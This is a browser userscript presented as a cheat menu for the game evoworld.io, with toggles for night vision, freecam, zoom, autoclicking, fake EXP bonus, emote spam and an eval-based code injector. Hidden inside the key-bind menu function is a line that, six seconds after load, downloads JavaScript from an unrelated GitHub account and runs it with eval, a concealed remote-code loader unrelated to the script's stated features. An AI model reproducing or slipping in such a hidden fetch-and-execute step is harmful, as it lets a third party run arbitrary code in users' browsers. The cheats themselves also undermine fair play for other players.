- // ==UserScript==
- // @name Evoworld.io IH cheats
- // @namespace http://tampermonkey.net/
- // @version 2.0
- // @description a new evoworld.io cheat with a lot of funcions for open/close press Y/y
- // @author ilyxa gaydov
- // @match https://evoworld.io/
- // @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
- // @grant none
- // ==/UserScript==
-
- alert('for open/close press Y/y');
- class CheatMenu {
- constructor() {
- this.menus = [];
- this.sliders = {};
- this.opacityValues = {
- cloud: 0.5,
- swamp: 0.5,
- lava: 0.5,
- water: 0.5,
- bush: 0.5
- };
- this.unlimitedFps = false;
- this.showInCloud = false;
- this.zIndexValue = 15;
- this.zIndexInterval = null;
- this.freecamActive = false;
- this.cameraOffset = { x: 0, y: 0 };
- this.originalGetAllPositions = null;
- this.autoRespawnInterval = null;
- this.expBonusInterval = null;
- this.autoclickerInterval = null;
- this.emoteSpamInterval = null;
- this.allCheats = [];
- this.cheatElements = {};
- this.customOpacityHandlers = new Set();
- this.customSizeHandlers = new Set();
- this.keyBinds = {};
-
- document.addEventListener('keydown', (e) => {
- if (e.keyCode === 89) this.toggleAllMenus();
- if (this.freecamActive) this.handleFreecamKeys(e);
- if (this.keyBinds[e.keyCode]) {
- this.keyBinds[e.keyCode]();
- }
- });
- }
-
- createMenu(title, x = 50, y = 50) {
- const menu = document.createElement('div');
- Object.assign(menu.style, {
- position: 'absolute',
- left: `${x}px`,
- top: `${y}px`,
- width: '125px',
- background: 'rgba(0,0,0,0.85)',
- border: '1px solid #444',
- borderRadius: '3px',
- color: 'white',
- fontFamily: '"Courier New", monospace',
- fontSize: '10px',
- zIndex: '1000',
- userSelect: 'none'
- });
-
- const header = document.createElement('div');
- Object.assign(header.style, {
- background: '#333',
- padding: '4px',
- cursor: 'move',
- fontWeight: 'bold',
- borderBottom: '1px solid #555',
- fontSize: '10px'
- });
- header.textContent = title;
-
- const content = document.createElement('div');
- content.style.padding = '5px';
-
- menu.append(header, content);
- document.body.appendChild(menu);
-
- this.makeDraggable(menu, header);
- this.menus.push(menu);
- return content;
- }
-
- makeDraggable(element, handle) {
- handle.addEventListener('mousedown', (e) => {
- const offsetX = e.clientX - element.offsetLeft;
- const offsetY = e.clientY - element.offsetTop;
-
- const move = (e) => {
- element.style.left = `${e.clientX - offsetX}px`;
- element.style.top = `${e.clientY - offsetY}px`;
- };
-
- const up = () => {
- document.removeEventListener('mousemove', move);
- document.removeEventListener('mouseup', up);
- };
-
- document.addEventListener('mousemove', move);
- document.addEventListener('mouseup', up);
- e.preventDefault();
- });
- }
-
- addToggleCheat(menuContent, name, callback) {
- const button = document.createElement('button');
- Object.assign(button.style, {
- display: 'block',
- width: '100%',
- padding: '4px',
- margin: '3px 0',
- background: '#222',
- color: '#eee',
- border: '1px solid #444',
- borderRadius: '2px',
- cursor: 'pointer',
- transition: 'all 0.2s',
- fontSize: '10px'
- });
-
- button.textContent = name;
- button.addEventListener('click', () => {
- const active = button.classList.toggle('active');
- button.style.background = active ? '#600' : '#222';
- button.style.borderColor = active ? '#f00' : '#444';
- callback(active);
- });
-
- this.allCheats.push(name.toLowerCase());
- this.cheatElements[name.toLowerCase()] = button;
- menuContent.appendChild(button);
- return button;
- }
-
- addSlider(menuContent, name, min, max, step, defaultValue, callback) {
- const container = document.createElement('div');
- container.style.margin = '5px 0';
-
- const label = document.createElement('div');
- label.textContent = name;
- label.style.marginBottom = '3px';
- label.style.color = '#eee';
- label.style.fontSize = '10px';
-
- const slider = document.createElement('input');
- slider.type = 'range';
- slider.min = min;
- slider.max = max;
- slider.step = step;
- slider.value = defaultValue;
- slider.style.width = '100%';
- slider.style.height = '10px';
-
- const valueDisplay = document.createElement('span');
- valueDisplay.textContent = defaultValue;
- valueDisplay.style.marginLeft = '5px';
- valueDisplay.style.color = '#eee';
- valueDisplay.style.fontSize = '10px';
-
- slider.addEventListener('input', () => {
- const value = parseFloat(slider.value);
- valueDisplay.textContent = value;
- callback(value);
- });
-
- this.allCheats.push(name.toLowerCase());
- this.cheatElements[name.toLowerCase()] = slider;
- container.append(label, slider, valueDisplay);
- menuContent.appendChild(container);
- this.sliders[name] = slider;
- return slider;
- }
-
- addInputField(menuContent, placeholder, buttonText, callback) {
- const container = document.createElement('div');
-
- const input = document.createElement('input');
- input.type = 'text';
- input.placeholder = placeholder;
- input.style.width = '100%';
- input.style.padding = '4px';
- input.style.marginBottom = '5px';
- input.style.boxSizing = 'border-box';
- input.style.fontSize = '10px';
-
- const button = document.createElement('button');
- button.textContent = buttonText;
- button.style.width = '100%';
- button.style.padding = '4px';
- button.style.marginBottom = '5px';
- button.style.background = '#222';
- button.style.color = '#eee';
- button.style.border = '1px solid #444';
- button.style.borderRadius = '2px';
- button.style.cursor = 'pointer';
- button.style.fontSize = '10px';
-
- button.addEventListener('click', () => {
- callback(input.value);
- });
-
- this.allCheats.push(buttonText.toLowerCase());
- this.cheatElements[buttonText.toLowerCase()] = button;
- container.append(input, button);
- menuContent.appendChild(container);
- return { input, button };
- }
-
- addViewModButton(menuContent, text, xOffset, yOffset) {
- const button = document.createElement('button');
- Object.assign(button.style, {
- display: 'block',
- width: '100%',
- padding: '4px',
- margin: '3px 0',
- background: '#222',
- color: '#eee',
- border: '1px solid #444',
- borderRadius: '2px',
- cursor: 'pointer',
- fontSize: '10px'
- });
-
- button.textContent = text;
- button.addEventListener('click', () => {
- if (game && game.me) {
- game.me.getAllPositions = function() {
- return {
- 'x': this['position']['x'],
- 'y': this['position']['y'],
- 'center': {
- 'x': this['position']['x'] + this['width'] + xOffset,
- 'y': this['position']['y'] + this['height'] + yOffset
- },
- 'right': this['position']['x'] + this['width'],
- 'left': this['position']['x'],
- 'top': this['position']['y'] + this['height'],
- 'bottom': this['position']['y']
- };
- };
- }
- });
-
- this.allCheats.push(text.toLowerCase());
- this.cheatElements[text.toLowerCase()] = button;
- menuContent.appendChild(button);
- return button;
- }
-
- toggleUnlimitedFps(active) {
- this.unlimitedFps = active;
- if (window.game && window.game.fpsTimes) {
- game.fpsTimes.length = active ? 1000 : 0;
- }
- }
-
- toggleShowInCloud(active) {
- this.showInCloud = active;
- if (window.game && window.game.me) {
- if (active) {
- game.me.zIndex = 100;
- this.zIndexValue = 100;
- this.zIndexInterval = setInterval(() => {
- if (window.game && window.game.me) {
- game.me.inHide = false;
- }
- }, 1);
- } else {
- clearInterval(this.zIndexInterval);
- game.me.zIndex = 15;
- this.zIndexValue = 15;
- }
- }
- }
-
- setZIndex(value) {
- this.zIndexValue = value;
- if (window.game && window.game.me) {
- game.me.zIndex = value;
- }
- }
-
- toggleFreecam(active) {
- this.freecamActive = active;
-
- if (active) {
- if (game && game.me) {
- this.originalGetAllPositions = game.me.getAllPositions;
-
- const self = this;
- game.me.getAllPositions = function() {
- return {
- 'x': this['position']['x'],
- 'y': this['position']['y'],
- 'center': {
- 'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
- 'y': this['position']['y'] + this['height'] + self.cameraOffset.y
- },
- 'right': this['position']['x'] + this['width'],
- 'left': this['position']['x'],
- 'top': this['position']['y'] + this['height'],
- 'bottom': this['position']['y']
- };
- };
- }
- } else {
- if (game && game.me && this.originalGetAllPositions) {
- game.me.getAllPositions = this.originalGetAllPositions;
- }
- this.cameraOffset = { x: 0, y: 0 };
- }
- }
-
- handleFreecamKeys(e) {
- const speed = e.shiftKey ? 30 : 10;
- let moved = false;
-
- switch(e.key.toLowerCase()) {
- case 'k':
- this.cameraOffset.y -= speed;
- moved = true;
- break;
- case 'i':
- this.cameraOffset.y += speed;
- moved = true;
- break;
- case 'j':
- this.cameraOffset.x -= speed;
- moved = true;
- break;
- case 'l':
- this.cameraOffset.x += speed;
- moved = true;
- break;
- }
-
- if (moved) e.preventDefault();
- }
-
- toggleAutoRespawn(active) {
- if (active) {
- this.autoRespawnInterval = setInterval(() => {
- if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
- playAgain();
- }
- }, 100);
- } else {
- clearInterval(this.autoRespawnInterval);
- }
- }
-
- toggleExpBonus(active) {
- if (active) {
- this.expBonusInterval = setInterval(() => {
- if (typeof startBonus !== 'undefined') {
- startBonus = true;
- }
- }, 100);
- } else {
- clearInterval(this.expBonusInterval);
- if (typeof startBonus !== 'undefined') {
- startBonus = false;
- }
- }
- }
-
- toggleEmoteSpam(active) {
- if (active) {
- this.emoteSpamInterval = setInterval(() => {
- if (typeof sendEmote !== 'undefined') {
- sendEmote(1);
- }
- }, 500);
- } else {
- clearInterval(this.emoteSpamInterval);
- }
- }
-
- startAutoclicker(interval) {
- this.stopAutoclicker();
- if (interval > 0) {
- this.autoclickerInterval = setInterval(() => {
- const canvas = document.getElementById('canvasGame');
- if (canvas) {
- canvas.click();
- }
- }, interval);
- }
- }
-
- stopAutoclicker() {
- if (this.autoclickerInterval) {
- clearInterval(this.autoclickerInterval);
- this.autoclickerInterval = null;
- }
- }
-
- toggleAllMenus() {
- const anyVisible = this.menus.some(menu => menu.style.display === 'none');
- this.menus.forEach(menu => {
- menu.style.display = anyVisible ? 'block' : 'none';
- });
- }
-
- addSearch(menuContent) {
- const searchInput = document.createElement('input');
- searchInput.type = 'text';
- searchInput.placeholder = 'Search cheats...';
- searchInput.style.width = '100%';
- searchInput.style.padding = '4px';
- searchInput.style.marginBottom = '5px';
- searchInput.style.boxSizing = 'border-box';
- searchInput.style.fontSize = '10px';
-
- const resultsContainer = document.createElement('div');
- resultsContainer.style.maxHeight = '100px';
- resultsContainer.style.overflowY = 'auto';
- resultsContainer.style.fontSize = '10px';
-
- searchInput.addEventListener('input', () => {
- const query = searchInput.value.toLowerCase();
- resultsContainer.innerHTML = '';
-
- if (query.length < 2) return;
-
- const matches = this.allCheats.filter(cheat => cheat.includes(query));
-
- matches.forEach(match => {
- const result = document.createElement('div');
- result.textContent = match;
- result.style.padding = '3px';
- result.style.cursor = 'pointer';
- result.style.borderBottom = '1px solid #444';
- result.style.fontSize = '10px';
- result.addEventListener('click', () => {
- const element = this.cheatElements[match];
- if (element) {
- if (element.tagName === 'BUTTON') {
- element.click();
- } else if (element.tagName === 'INPUT' && element.type === 'range') {
- const newValue = prompt(`Enter value for ${match}:`, element.value);
- if (newValue !== null) {
- element.value = newValue;
- element.dispatchEvent(new Event('input'));
- }
- }
- }
- });
- resultsContainer.appendChild(result);
- });
- });
-
- menuContent.append(searchInput, resultsContainer);
- }
-
- addItemSizeChanger(menuContent) {
- const container = document.createElement('div');
-
- const input = document.createElement('input');
- input.type = 'text';
- input.placeholder = 'Item name';
- input.style.width = '100%';
- input.style.padding = '4px';
- input.style.marginBottom = '5px';
- input.style.boxSizing = 'border-box';
- input.style.fontSize = '10px';
-
- const slider = document.createElement('input');
- slider.type = 'range';
- slider.min = 1;
- slider.max = 3500;
- slider.step = 0.5;
- slider.value = 100;
- slider.style.width = '100%';
- slider.style.height = '10px';
- slider.style.marginBottom = '5px';
-
- const valueDisplay = document.createElement('span');
- valueDisplay.textContent = '100';
- valueDisplay.style.marginLeft = '5px';
- valueDisplay.style.color = '#eee';
- valueDisplay.style.fontSize = '10px';
-
- slider.addEventListener('input', () => {
- valueDisplay.textContent = slider.value;
- });
-
- const button = document.createElement('button');
- button.textContent = 'Change size';
- button.style.width = '100%';
- button.style.padding = '4px';
- button.style.background = '#222';
- button.style.color = '#eee';
- button.style.border = '1px solid #444';
- button.style.borderRadius = '2px';
- button.style.cursor = 'pointer';
- button.style.fontSize = '10px';
-
- button.addEventListener('click', () => {
- const itemName = input.value.toLowerCase();
- const sizeValue = parseFloat(slider.value);
-
- if (this.customSizeHandlers.has(itemName)) {
- return;
- }
-
- if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
- const originalDrawObject = Engine.prototype.drawObject;
- Engine.prototype.drawObject = function(obj, staticCanvas) {
- if (obj.name && obj.name.toLowerCase().includes(itemName)) {
- obj.width = sizeValue;
- obj.height = sizeValue;
- }
- return originalDrawObject.call(this, obj, staticCanvas);
- };
-
- this.customSizeHandlers.add(itemName);
- }
- });
-
- container.append(input, slider, valueDisplay, button);
- menuContent.appendChild(container);
- }
-
- addKeyBindMenu(menuContent) {
- const cheats = [
- 'Night Vision', '100 Level', 'Unlimited FPS', 'Show in Cloud',
- 'Freecam (IJKL)', 'Auto Respawn', 'Emoji Spam', 'Smooth Movement',
- 'Sharp Movement', 'Join Full Servers', 'Zoom Hack', '+30% EXP Bonus'
- ];
-
- setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);
-
- cheats.forEach(cheatName => {
- const cheat = cheatName.toLowerCase();
- if (this.cheatElements[cheat]) {
- const container = document.createElement('div');
- container.style.marginBottom = '5px';
-
- const label = document.createElement('div');
- label.textContent = cheatName;
- label.style.marginBottom = '2px';
- label.style.fontSize = '10px';
-
- const input = document.createElement('input');
- input.type = 'text';
- input.placeholder = 'Press key...';
- input.style.width = '100%';
- input.style.padding = '2px';
- input.style.fontSize = '10px';
- input.readOnly = true;
-
- input.addEventListener('click', () => {
- input.value = 'Press any key...';
- const handler = (e) => {
- e.preventDefault();
- input.value = this.getKeyName(e.keyCode);
- this.keyBinds[e.keyCode] = () => {
- this.cheatElements[cheat].click();
- };
- document.removeEventListener('keydown', handler);
- };
- document.addEventListener('keydown', handler);
- });
-
- container.append(label, input);
- menuContent.appendChild(container);
- }
- });
- }
-
- getKeyName(keyCode) {
- const keys = {
- 8: 'Backspace', 9: 'Tab', 13: 'Enter', 16: 'Shift', 17: 'Ctrl',
- 18: 'Alt', 27: 'Esc', 32: 'Space', 37: 'Left', 38: 'Up',
- 39: 'Right', 40: 'Down', 65: 'A', 66: 'B', 67: 'C', 68: 'D',
- 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K',
- 76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R',
- 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y',
- 90: 'Z', 112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5',
- 117: 'F6', 118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11',
- 123: 'F12', 186: ';', 187: '=', 188: ',', 189: '-', 190: '.',
- 191: '/', 192: '`', 219: '[', 220: '\\', 221: ']', 222: "'"
- };
- return keys[keyCode] || 'Key ' + keyCode;
- }
- }
-
- const menu = new CheatMenu();
- const visualMenu = menu.createMenu('Visual Cheats', 25, 55);
- const playerMenu = menu.createMenu('Player Cheats', 200, 55);
- const movementMenu = menu.createMenu('Movement', 375, 55);
- const viewModMenu = menu.createMenu('ViewMod', 375, 205);
- const opacityMenu = menu.createMenu('Opacity Cheats', 550, 55);
- const mainMenu = menu.createMenu('Main Menu', 25, 260);
- const expMenu = menu.createMenu('EXP', 25, 370);
- const searchMenu = menu.createMenu('Search Cheats', 200, 260);
- const autoclickerMenu = menu.createMenu('Autoclicker', 375, 370);
- const injectorMenu = menu.createMenu('Injector', 700, 55);
- const customOpacityMenu = menu.createMenu('Item Opacity', 700, 205);
- const customSizeMenu = menu.createMenu('Any item size', 700, 370);
- const bindsMenu = menu.createMenu('Binds', 855, 55);
-
- menu.addSearch(searchMenu);
-
- menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
- visionType = active ? 1 : 0;
- });
-
- menu.addToggleCheat(visualMenu, '100 Level', (active) => {
- if (active) {
- if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
- game.me.level = 100;
- } else {
- game.me.level = game.me.originalLevel || 1;
- }
- });
-
- menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
- menu.toggleUnlimitedFps(active);
- });
-
- menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
- menu.toggleShowInCloud(active);
- });
-
- menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
- menu.toggleFreecam(active);
- });
-
- menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
- menu.toggleAutoRespawn(active);
- });
-
- menu.addToggleCheat(playerMenu, 'Emoji Spam', (active) => {
- menu.toggleEmoteSpam(active);
- });
-
- menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
- menu.setZIndex(value);
- });
-
- menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
- if (game) game.maxInterpolateDistanceTeleport = value;
- });
-
- menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
- if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
- });
-
- menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
- if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
- });
-
- menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
- if (active) {
- const serverSelect = document.querySelector('select.selectServer');
- if (serverSelect) {
- const options = serverSelect.querySelectorAll('option');
- options.forEach(option => {
- option.removeAttribute('disabled');
- });
- }
- }
- });
-
- menu.addViewModButton(viewModMenu, 'Normal View', 0, 0);
- menu.addViewModButton(viewModMenu, 'Right View', 200, 0);
- menu.addViewModButton(viewModMenu, 'Left View', -200, 0);
- menu.addViewModButton(viewModMenu, 'Top View', 0, 200);
-
- let zoomActive = false;
- const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
- if (zoomActive) applyZoom(value);
- });
-
- menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
- zoomActive = active;
- if (active) applyZoom(parseFloat(zoomSlider.value));
- else applyZoom(1.0);
- });
-
- menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
- menu.opacityValues.cloud = value;
- updateObjectOpacity();
- });
-
- menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
- menu.opacityValues.swamp = value;
- updateObjectOpacity();
- });
-
- menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
- menu.opacityValues.lava = value;
- updateObjectOpacity();
- });
-
- menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
- menu.opacityValues.water = value;
- updateObjectOpacity();
- });
-
- menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
- menu.opacityValues.bush = value;
- updateObjectOpacity();
- });
-
- const injector = menu.addInputField(injectorMenu, 'Enter JS code', 'Execute', (code) => {
- try {
- eval(code);
- } catch (e) {
- console.error('Injection error:', e);
- }
- });
-
- const customOpacityInput = document.createElement('input');
- customOpacityInput.type = 'text';
- customOpacityInput.placeholder = 'Item name (partial match)';
- customOpacityInput.style.width = '100%';
- customOpacityInput.style.padding = '4px';
- customOpacityInput.style.marginBottom = '5px';
- customOpacityInput.style.boxSizing = 'border-box';
- customOpacityInput.style.fontSize = '10px';
-
- const customOpacitySlider = document.createElement('input');
- customOpacitySlider.type = 'range';
- customOpacitySlider.min = 0;
- customOpacitySlider.max = 1;
- customOpacitySlider.step = 0.01;
- customOpacitySlider.value = 0.5;
- customOpacitySlider.style.width = '100%';
- customOpacitySlider.style.height = '10px';
- customOpacitySlider.style.marginBottom = '5px';
-
- const customOpacityValue = document.createElement('span');
- customOpacityValue.textContent = '0.5';
- customOpacityValue.style.marginLeft = '5px';
- customOpacityValue.style.color = '#eee';
- customOpacityValue.style.fontSize = '10px';
-
- customOpacitySlider.addEventListener('input', () => {
- customOpacityValue.textContent = customOpacitySlider.value;
- });
-
- const customOpacityButton = document.createElement('button');
- customOpacityButton.textContent = 'Change opacity';
- customOpacityButton.style.width = '100%';
- customOpacityButton.style.padding = '4px';
- customOpacityButton.style.background = '#222';
- customOpacityButton.style.color = '#eee';
- customOpacityButton.style.border = '1px solid #444';
- customOpacityButton.style.borderRadius = '2px';
- customOpacityButton.style.cursor = 'pointer';
- customOpacityButton.style.fontSize = '10px';
-
- customOpacityButton.addEventListener('click', () => {
- const itemName = customOpacityInput.value.toLowerCase();
- const opacityValue = parseFloat(customOpacitySlider.value);
-
- if (menu.customOpacityHandlers.has(itemName)) {
- return;
- }
-
- if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
- const originalDrawObject = Engine.prototype.drawObject;
- Engine.prototype.drawObject = function(obj, staticCanvas) {
- if (obj.name && obj.name.toLowerCase().includes(itemName)) {
- obj.opacity = opacityValue;
- }
- return originalDrawObject.call(this, obj, staticCanvas);
- };
-
- menu.customOpacityHandlers.add(itemName);
- }
- });
-
- customOpacityMenu.append(customOpacityInput, customOpacitySlider, customOpacityValue, customOpacityButton);
-
- menu.addToggleCheat(expMenu, '+30% EXP Bonus', (active) => {
- menu.toggleExpBonus(active);
- });
-
- const autoclickerInput = document.createElement('input');
- autoclickerInput.type = 'number';
- autoclickerInput.placeholder = 'Interval (ms)';
- autoclickerInput.style.width = '100%';
- autoclickerInput.style.padding = '4px';
- autoclickerInput.style.marginBottom = '5px';
- autoclickerInput.style.boxSizing = 'border-box';
- autoclickerInput.style.fontSize = '10px';
-
- const autoclickerStartButton = document.createElement('button');
- autoclickerStartButton.textContent = 'Start Autoclicker';
- autoclickerStartButton.style.width = '100%';
- autoclickerStartButton.style.padding = '4px';
- autoclickerStartButton.style.marginBottom = '3px';
- autoclickerStartButton.style.background = '#222';
- autoclickerStartButton.style.color = '#eee';
- autoclickerStartButton.style.border = '1px solid #444';
- autoclickerStartButton.style.borderRadius = '2px';
- autoclickerStartButton.style.cursor = 'pointer';
- autoclickerStartButton.style.fontSize = '10px';
-
- const autoclickerStopButton = document.createElement('button');
- autoclickerStopButton.textContent = 'Stop Autoclicker';
- autoclickerStopButton.style.width = '100%';
- autoclickerStopButton.style.padding = '4px';
- autoclickerStopButton.style.background = '#600';
- autoclickerStopButton.style.color = '#eee';
- autoclickerStopButton.style.border = '1px solid #f00';
- autoclickerStopButton.style.borderRadius = '2px';
- autoclickerStopButton.style.cursor = 'pointer';
- autoclickerStopButton.style.fontSize = '10px';
-
- autoclickerStartButton.addEventListener('click', () => {
- const interval = parseInt(autoclickerInput.value);
- if (!isNaN(interval)) {
- menu.startAutoclicker(interval);
- }
- });
-
- autoclickerStopButton.addEventListener('click', () => {
- menu.stopAutoclicker();
- });
-
- autoclickerMenu.append(autoclickerInput, autoclickerStartButton, autoclickerStopButton);
-
- menu.addItemSizeChanger(customSizeMenu);
- menu.addKeyBindMenu(bindsMenu);
-
- function applyZoom(zoomLevel) {
- if (game) {
- game.scaleX = zoomLevel;
- game.scaleY = zoomLevel;
- game.fontScale = zoomLevel;
-
- if (game.camera) {
- game.camera.zoom = zoomLevel;
- }
-
- if (game.renderer && game.renderer.scale) {
- game.renderer.scale.set(zoomLevel, zoomLevel);
- }
- }
- }
-
- function updateObjectOpacity() {
- if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
- const originalDrawObject = Engine.prototype.drawObject;
- Engine.prototype.drawObject = function(obj, staticCanvas) {
- if (obj.name) {
- const name = obj.name.toLowerCase();
-
- if (name.includes('cloud')) {
- obj.opacity = menu.opacityValues.cloud;
- }
- else if (name.includes('swamp')) {
- obj.opacity = menu.opacityValues.swamp;
- }
- else if (name.includes('lava')) {
- obj.opacity = menu.opacityValues.lava;
- }
- else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
- obj.opacity = menu.opacityValues.water;
- }
- else if (name.includes('bush')) {
- obj.opacity = menu.opacityValues.bush;
- }
- }
-
- return originalDrawObject.call(this, obj, staticCanvas);
- };
- }
- }
-
- setTimeout(() => {
- if (typeof Engine !== 'undefined') {
- updateObjectOpacity();
- }
- }, 1000);